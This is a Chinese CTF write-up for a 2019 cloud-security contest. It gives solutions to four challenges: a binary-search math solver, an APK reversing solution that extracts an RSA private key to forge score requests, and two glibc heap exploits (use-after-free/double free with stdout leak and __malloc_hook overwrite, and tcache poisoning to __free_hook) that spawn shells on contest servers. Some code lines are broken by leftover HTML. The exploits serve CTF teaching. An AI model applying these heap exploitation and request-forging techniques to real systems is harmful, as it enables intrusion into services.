数字经济云安全众测大赛WP
2019-09-24 11:49:19 Author: mp.weixin.qq.com(查看原文) 阅读量:36 收藏

0X00 Misc

findMe
#! /usr/bin/env python# -*- coding: utf-8 -*-
from pwn import *
#---------------------Setting-----------------------host = '121.40.216.20'port = 9999context.log_level = 'debug'#---------------------Setting-----------------------
def main(r): ground, sky = pow(2,127), pow(2,128) for i in range(200): t = abs(sky-ground)/3+1
r.recvline() r.sendline(hex(ground)) r.recvline() r.sendline(hex(sky))
if t == 1: g1, g2 = sky-t, sky-t else: g1, g2 = sky-t, sky r.recvline() r.sendline(hex(g1)) r.recvline() r.sendline(hex(g2))
ans = r.recvline()[:-1] if 'flag' in ans: print ansreturn elif ans == '2': sky = sky - t else: ground = sky - t
if __name__ == '__main__': while True: try: r = remote(host, port) main(r)break except: r.close()pass
分析源码可以知道,此题是一个数学题。题中每次连接都会生成一个随机secret,而我们要做的事就是先输入g,s,满足以下数学约束,就可以继续输入:
g <= secret <= s

接着输入g1, g2,首先需要继续满足约束:

|g1-g2| > |s-g|/3 + 1

然后根据公式(|secret - g1| - | secret - g2|)**2 < (|g1-g2|)**2的判断结果返回不同结果,true返回1,false返回2。

分析上面的判别式,可以知道,此判别式判别的就是在一维坐标系中,g1g2是否同时在secret的一侧,如果在同侧,(|secret - g1| - | secret - g2|)**2 == (|g1-g2|)**2判别式为false,如果g1g2secret两侧,判别式为true

于是思路就呼之欲出了。我们要求在secret两侧的g1g2,因为这样的话,就可以继续令s=g2,g=g1(假设g1 <= g2)。然后递归的压缩g1g2之间的距离,直到最后g1=g2=secret得到flag。

求在secret两侧的g1g2,由于每次要满足|g1-g2| > |s-g|/3 + 1,所以最多也就只需要探测三次,代码实现起来不复杂。

exp如下:

from pwn import *
p = remote('121.40.216.20',9999)# context.log_level = 'debug'
def pack(s): t = hex(s) return t[2:] if t[-1] != 'L' else t[2:-1]
def process(ground, sky, g1, g2): print p.recvuntil('g\n')[:-1] print ground p.sendline(pack(ground)) print p.recvuntil('s\n')[:-1] print sky p.sendline(pack(sky)) print p.recvuntil('g1\n')[:-1] print g1 p.sendline(pack(g1)) print p.recvuntil('g2\n')[:-1] print g2 p.sendline(pack(g2)) r=p.recvuntil('\n') if r[:4] != 'flag': print r return int(r[:-1]) else: print r
ground = 0sky = 2**128pground = 0psky = 0# print pack(sky)
def find(ground, sky): l = abs(sky - ground)/3 + 1 g1 = ground g2 = g1 + l r = process(ground, sky, g1, g2) if r == 1: return g1,g2 elif r == 2: t = process(ground, sky, g2, g2+l) if t == 1: return g2, g2 + l elif r == 2: t = process(ground, sky, g2, g2) if t == 2: return g2+l, sky

for i in range(200): ground,sky = find(ground, sky)


gameapp

APK逆向,每次发包时用RsaUnit加密data段,密钥都在APK里面,直接把代码抠出来,生成请求包。

package shon.lau;
import java.util.Base64;import java.security.KeyFactory;import java.security.interfaces.RSAPrivateKey;import java.security.interfaces.RSAPublicKey;import java.security.spec.PKCS8EncodedKeySpec;import java.security.spec.X509EncodedKeySpec;import java.util.HashMap;import java.util.Map;import javax.crypto.Cipher;import org.json.simple.JSONObject;
public class RsaUnit{ private static Map<Integer, String> keyMap = new HashMap();
public static void genKeyPair() { keyMap.put(Integer.valueOf(0), "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCqtXUIVoPUcBV1Wl3g8rGGNvMY\nImonQdMC1Y8USwIwf7Y0GcBP/h6fAJPAS9//qYZzy8ZfDKH1+ezifFFCUTCCa/8a\nYFoms223okyzeTlUIRHbIkto1JxYOazbsE6+KmE+yJiij4839SYuC1KsLWT82uHE\nA3Hau/DTzW4g4xhvzQIDAQAB"); keyMap.put(Integer.valueOf(1),"MIICeAIBADANBgkqhkiG9w0BAQEFAASCAmIwggJeAgEAAoGBAKq1dQhWg9RwFXVaXeDysYY28xgiaidB0wLVjxRLAjB/tjQZwE/+Hp8Ak8BL3/+phnPLxl8MofX57OJ8UUJRMIJr/xpgWiazbbeiTLN5OVQhEdsiS2jUnFg5rNuwTr4qYT7ImKKPjzf1Ji4LUqwtZPza4cQDcdq78NPNbiDjGG/NAgMBAAECgYBUdazusCdPbxke09QI3Oq6VeuWcEiHHckx6Ml+p9Hwfu99/ZOpwDgUQSvZA3FTQ+PS3OpL0qs7USlDsXBe2F6gCZ/e1BvkEPE/FymHbzbSpr8BwjEel/kup842z11SujNxHbeznrXKNfvDlqR5HM7CurYErBW0X8She8lNAqXBXQJBANj3pPvSHFQ4ugkWst6XCX/gd5vQuvPzeUwHpReSdRsmA6Jmv8oP03MQzjvsyrMoPatMzhN5Qtfpw12Febfl1pcCQQDJa2RGtK2jCiKxzKcbUp9pPiSxtsdavneKoCG/tndICyGfeT1NRGSQsJCHIhxdee4QQYWUrzhbFBLLZDq4sj07AkEAykt0T7si4MAXbPv2AKZQnCN9QhGHDof3k5UZL/ZFK+/wuY4Vyl+hJosHz0XD5PFjNoGhLvUEBu6VUnBuAbHRtwJBAKysnHLhQlqbvdKfmEMcOf2HgP25rH5m+ySk00n/q5LfuBt3XM54653/QGgZHigk96qIAXTOIooyU0p6yry8UTECQQCy8tuflq8/8ISRdkHixENX+APeYr4hjmn5mUFJgB4qFUp1ReR0nA2oGf6IkzAWEwLvEchuKMtF7eEv1kHS+3Wd");// keyMap.put(Integer.valueOf(1), "MIICeAIBADANBgkqhkiG9w0BAQEFAASCAmIwggJeAgEAAoGBAKq1dQhWg9RwFXVa\nXeDysYY28xgiaidB0wLVjxRLAjB/tjQZwE/+Hp8Ak8BL3/+phnPLxl8MofX57OJ8\nUUJRMIJr/xpgWiazbbeiTLN5OVQhEdsiS2jUnFg5rNuwTr4qYT7ImKKPjzf1Ji4L\nUqwtZPza4cQDcdq78NPNbiDjGG/NAgMBAAECgYBUdazusCdPbxke09QI3Oq6VeuW\ncEiHHckx6Ml+p9Hwfu99/ZOpwDgUQSvZA3FTQ+PS3OpL0qs7USlDsXBe2F6gCZ/e\n1BvkEPE/FymHbzbSpr8BwjEel/kup842z11SujNxHbeznrXKNfvDlqR5HM7CurYE\nrBW0X8She8lNAqXBXQJBANj3pPvSHFQ4ugkWst6XCX/gd5vQuvPzeUwHpReSdRsm\nA6Jmv8oP03MQzjvsyrMoPatMzhN5Qtfpw12Febfl1pcCQQDJa2RGtK2jCiKxzKcb\nUp9pPiSxtsdavneKoCG/tndICyGfeT1NRGSQsJCHIhxdee4QQYWUrzhbFBLLZDq4\nsj07AkEAykt0T7si4MAXbPv2AKZQnCN9QhGHDof3k5UZL/ZFK+/wuY4Vyl+hJosH\nz0XD5PFjNoGhLvUEBu6VUnBuAbHRtwJBAKysnHLhQlqbvdKfmEMcOf2HgP25rH5m\n+ySk00n/q5LfuBt3XM54653/QGgZHigk96qIAXTOIooyU0p6yry8UTECQQCy8tuf\nlq8/8ISRdkHixENX+APeYr4hjmn5mUFJgB4qFUp1ReR0nA2oGf6IkzAWEwLvEchu\nKMtF7eEv1kHS+3Wd"); }
public static String private_decrypt(String paramString) throws Exception { Base64.Decoder decoder = Base64.getDecoder(); String str = (String)keyMap.get(Integer.valueOf(1)); byte[] arrayOfByte1 = decoder.decode(paramString.getBytes("UTF-8")); byte[] arrayOfByte2 = decoder.decode(str); RSAPrivateKey localRSAPrivateKey = (RSAPrivateKey)KeyFactory.getInstance("RSA").generatePrivate(new PKCS8EncodedKeySpec(arrayOfByte2)); Cipher localCipher = Cipher.getInstance("RSA/ECB/PKCS1Padding"); localCipher.init(2, localRSAPrivateKey); return new String(localCipher.doFinal(arrayOfByte1)); }
public static String private_encrypt(String paramString) throws Exception { Base64.Decoder decoder = Base64.getDecoder(); Base64.Encoder encoder = Base64.getEncoder(); byte[] arrayOfByte = decoder.decode((String)keyMap.get(Integer.valueOf(1))); RSAPrivateKey localRSAPrivateKey = (RSAPrivateKey)KeyFactory.getInstance("RSA").generatePrivate(new PKCS8EncodedKeySpec(arrayOfByte)); Cipher localCipher = Cipher.getInstance("RSA/ECB/PKCS1Padding"); localCipher.init(1, localRSAPrivateKey); return encoder.encodeToString(localCipher.doFinal(paramString.getBytes("UTF-8"))); }
public static void main(String[] args) { JSONObject localJSONObject = new JSONObject(); try { genKeyPair();
// localJSONObject.put("player", "mads"); localJSONObject.put("score", 100); localJSONObject.put("op", "add"); String data = localJSONObject.toString(); System.out.println(data); System.out.println(RsaUnit.private_encrypt(data));// String str2 = HttpUnit.post("http://121.40.219.183:9999/startgame/", RsaUnit.private_encrypt(data));// System.out.println(str2); }catch (Exception e){ System.out.println(e.toString()); } }//// public static String public_decrypt(String paramString)// throws Exception// {// String str = (String)keyMap.get(Integer.valueOf(0));// byte[] arrayOfByte1 = Base64.decode(paramString.getBytes("UTF-8"), 0);// byte[] arrayOfByte2 = Base64.decode(str, 0);// RSAPublicKey localRSAPublicKey = (RSAPublicKey)KeyFactory.getInstance("RSA").generatePublic(new X509EncodedKeySpec(arrayOfByte2));// Cipher localCipher = Cipher.getInstance("RSA/ECB/PKCS1Padding");// localCipher.init(2, localRSAPublicKey);// return new String(localCipher.doFinal(arrayOfByte1));// }//// public static String public_encrypt(String paramString)// throws Exception// {// byte[] arrayOfByte = Base64.decode((String)keyMap.get(Integer.valueOf(0)), 0);// RSAPublicKey localRSAPublicKey = (RSAPublicKey)KeyFactory.getInstance("RSA").generatePublic(new X509EncodedKeySpec(arrayOfByte));// Cipher localCipher = Cipher.getInstance("RSA/ECB/PKCS1Padding");// localCipher.init(1, localRSAPublicKey);// return Base64.encodeToString(localCipher.doFinal(paramString.getBytes("UTF-8")), 0);// }}

第一步是发包登录。在/startgame/接口 第二步是发包增加分数,测试每次最多增加100,写个脚本循环跑。

# -*- coding=utf-8 -*-
import requests
r = requests.Session()
url = 'http://121.40.219.183:9999/score/'headers = {'Accept-Encoding': 'gzip, deflate','Accept': '*/*','Accept-Language': 'en','User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)','Cookie': 'session=eyJwbGF5ZXIiOiJtYWRzIiwic2NvcmUiOjUwMH0.XYRf3w.PqYCOJx52Scogjpz9eKY1t1XXgo;','Connection': 'close','Content-Type': 'xxx',}
cookies = {"session": "eyJwbGF5ZXIiOiJtYWRzIiwic2NvcmUiOjkwMH0.XYRg3w.uNx4qY-NVMhuIW8UxmtTkLHTOL4"}
data="StGIrDplUxthN/I8va6O9MfKu8ymYzM5eYxNpnNgh7SW7S9JnEbzlNZnaBGSRdffLr2DjOTGcdQH7mSyBkfttL+xuoxGtsMJ126y1ra0ZfYz0Y75cMHmGw3WY62/cng7fheoc8Qq7/YeoaL4j0BGIwKeundOdjQjnAKRc/s3kFA="
for i in range(99999/100): res = r.post(url=url, data=data, cookies=cookies) print res.content cookies["session"] = res.cookies.get("session")# print cookies# break

跑到99999得到flag

flag{2968ababe9b8a875037b15168f67a46c}


菜单堆,IO_stdout leak的板子题。free掉后没清空指针(uaf),double free重新分配到_IO_2_1_stdout_泄漏出libc地址。最后将__malloc_hookone_shot拿shell

#! /usr/bin/env python# -*- coding: utf-8 -*-
from pwn import *import os, sys
# Setting at firstDEBUG = 3LIBCV = 2.19context.arch = "amd64"
context.log_level = "debug"elf = ELF("./fkroman",checksec=False)
# synonyms for faster typingtube.s = tube.sendtube.sl = tube.sendlinetube.sa = tube.sendaftertube.sla = tube.sendlineaftertube.r = tube.recvtube.ru = tube.recvuntiltube.rl = tube.recvlinetube.ra = tube.recvalltube.rr = tube.recvregextube.irt = tube.interactive
if DEBUG == 1: if context.arch == "i386": libc = ELF("/lib/i386-linux-gnu/libc.so.6",checksec=False) elif context.arch == "amd64": libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False) s = process("./fkroman") #, env={"LD_PRELOAD" : "./libc-2.23.so"})elif DEBUG == 2: if context.arch == "i386": libc = ELF("/root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x86/libc.so.6",checksec=False) os.system("patchelf --set-interpreter /root/toolchain/elf/glibc/x86/glibc-"+str(LIBCV)+"/x86/ld-linux-x86-64.so.2 fkroman") os.system("patchelf --set-rpath /root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x86:/libc.so.6 fkroman") elif context.arch == "amd64": libc = ELF("/root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x64/libc.so.6",checksec=False) os.system("patchelf --set-interpreter /root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x64/ld-linux-x86-64.so.2 fkroman") os.system("patchelf --set-rpath /root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x64:/libc.so.6 fkroman") s = process("./fkroman")elif DEBUG == 3: libc = ELF("./libc-2.23.so",checksec=False) ip = "121.40.246.48" port = 9999 s = remote(ip,port)
def z(addr): raw_input("debug?") gdb.attach(s, "b *" + str(addr))
wordSz = 4hwordSz = 2bits = 32PIE = 0mypid=0def leak(address, size): with open("/proc/%s/mem" % mypid) as mem: mem.seek(address) return mem.read(size)
def findModuleBase(pid, mem): name = os.readlink("/proc/%s/exe" % pid) with open("/proc/%s/maps" % pid) as maps: for line in maps: if name in line: addr = int(line.split("-")[0], 16) mem.seek(addr) if mem.read(4) == "\x7fELF": bitFormat = u8(leak(addr + 4, 1)) if bitFormat == 2: global wordSz global hwordSz global bits wordSz = 8 hwordSz = 4 bits = 64 return addr log.failure("Module's base address not found.") sys.exit(1)
def zx(addr = 0): global mypid mypid = proc.pidof(s)[0] raw_input("debug?") with open("/proc/%s/mem" % mypid) as mem: moduleBase = findModuleBase(mypid, mem) gdb.attach(s, "set follow-fork-mode parent\nb *" + hex(moduleBase+addr))
def clean(): s.close()
if DEBUG == 2: if context.arch == "i386": os.system("patchelf --set-interpreter /lib/ld-linux.so.2 fkroman") os.system("patchelf --set-rpath /lib/i386-linux-gnu:/libc.so.6 fkroman") if context.arch == "amd64": os.system("patchelf --set-interpreter /lib64/ld-linux-x86-64.so.2 fkroman") os.system("patchelf --set-rpath /lib/x86_64-linux-gnu:/libc.so.6 fkroman")
def menu(x): s.sla("choice: ", str(x))
def alloc(idx, size): menu(1) s.sla("Index: ", str(idx)) s.sla("Size: ", str(size))
def delete(idx): menu(3) s.sla("Index: ", str(idx))
def edit(idx, size, data): menu(4) s.sla("Index: ", str(idx)) s.sla("Size: ", str(size)) s.sa("Content: ", data)
def pwn(): alloc(0, 0x80) alloc(1, 0x60) alloc(2, 0x60)
# unsorted bin delete(0)
# _IO_2_1_stdout_ alloc(3, 0x60) edit(3, 2, '\xdd\x95')
# double free delete(2) delete(1) delete(2)
# edit point to chunk3 edit(2, 1, '\x00')
# alloc _IO_2_1_stdout_ alloc(4, 0x60) #zx(0x1309) alloc(5, 0x60) alloc(6, 0x60) # _IO_2_1_stdout_
# bypass and leak edit(6, 0x54, chr(0)*3 + p64(0)*6 + p64(0xfbad3887) + p64(0)*3 + '\0')

s.ru(p64(0xfbad3887)) s.r(0x18) libc.address = u64(s.r(6) + '\0\0') - 0x3c5600 style="box-sizing: border-box; padding-right: 0.1px;"> malloc_hook = libc.sym['__malloc_hook'] info("libc.address 0x%x", libc.address) info("one_shot 0x%x", style="box-sizing: border-box; padding-right: 0.1px;"> info("malloc_hook 0x%x", malloc_hook)
# free list delete(5) delete(4)
# edit point to __malloc_hook edit(4, 8, p64(malloc_hook-0x23))
# alloc __malloc_hook alloc(7, 0x60) alloc(8, 0x60)
# write style="box-sizing: border-box; padding-right: 0.1px;"> edit(8, 0x1b, chr(0)*3 + p64(0)*2 + p64(one_shot))

alloc(20, 20)
#zx(0x1309) #alloc(9, 0x60)
s.irt() #clean() #ctf{63f2fa2d7f94394dc3d8e9be1abd34c4}
def dump(): pwn() s.recv(timeout=1) s.sl("cat fkroman") s.sl("exit") data = s.ra() f = open("dump", "wb") f.write(data) f.close()
if __name__ == "__main__": pwn()

amazon

tcache attack,先free掉7次填充tcache bin,当下一次free掉,chunk进入unsorted bin,调用show泄漏出libc地址。覆盖tcache的fd指针为__free_hook,malloc到该处写入system地址,调用free("/bin/sh")拿shell

from pwn import *
p = process('./amazon')# p = remote('121.41.38.38', 9999)libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')context.log_level = 'debug'

def launch_gdb(): context.terminal = ['xfce4-terminal', '-x', 'sh', '-c'] gdb.attach(proc.pidof(p)[0])
def new(s,d): p.recvuntil('choice:') p.sendline('1') p.recvuntil('buy:') p.sendline('2') p.recvuntil('many:') p.sendline('1') p.recvuntil('note:') p.sendline(str(s)) p.recvuntil('Content:') p.sendline(d)
def free(i): p.recvuntil('choice:') p.sendline('3') p.recvuntil('for:') p.sendline(str(i))
def show(): p.recvuntil('choice:') p.sendline('2')

# launch_gdb()new(0xa0,'cnm') # 0for _ in xrange(7): free(0)new(0xb0,'fuck') # 1for _ in xrange(7): free(1)new(0x20,'fuck') # 2free(0)show()p.recvuntil('Name: ')leak = u64(p.recv(6).ljust(8,'\x00'))log.info('leak ' + hex(leak))libc_base = leak - 4111520free(1)new(0x100,p64(libc_base + 4118760 - 0x40) * (0x100/8)) # 3new(0xb0,'nmsl\x00')free(3)new(0x100,'/bin/sh\x00' * (0x100/8))
new(0xb0,p64(0) * 4 + p64(libc_base + libc.symbols['system']))free(1)
p.interactive()

CTF-PWN训练可到合天网安实验室学习课程——CTF-PWN进阶训练:本课程旨在帮助CTF初学者快速掌握复杂PWN题型的基本解题思路与技巧,包括溢出模型、信息泄露、ROP等。扫描下方二维码或点击文末“阅读原文”可预览学习。

别忘了投稿哦

大家有好的技术原创文章

欢迎投稿至邮箱:[email protected]

合天会根据文章的时效、新颖、文笔、实用等多方面评判给予200元-800元不等的稿费哦

有才能的你快来投稿吧!

了解投稿详情点击——重金悬赏 | 合天原创投稿涨稿费啦!

点击“阅读全文”,注册学习

文章来源: http://mp.weixin.qq.com/s?__biz=MjM5MTYxNjQxOA==&amp;mid=2652852075&amp;idx=1&amp;sn=4309cf3d1c69db0eb043aca8c0995ae4&amp;chksm=bd5933a68a2ebab0f3fe8cdc58b946cec9f8893455642e6adaa5b3105cdc6ead461a590b9103#rd
如有侵权请联系:admin#unsafe.sh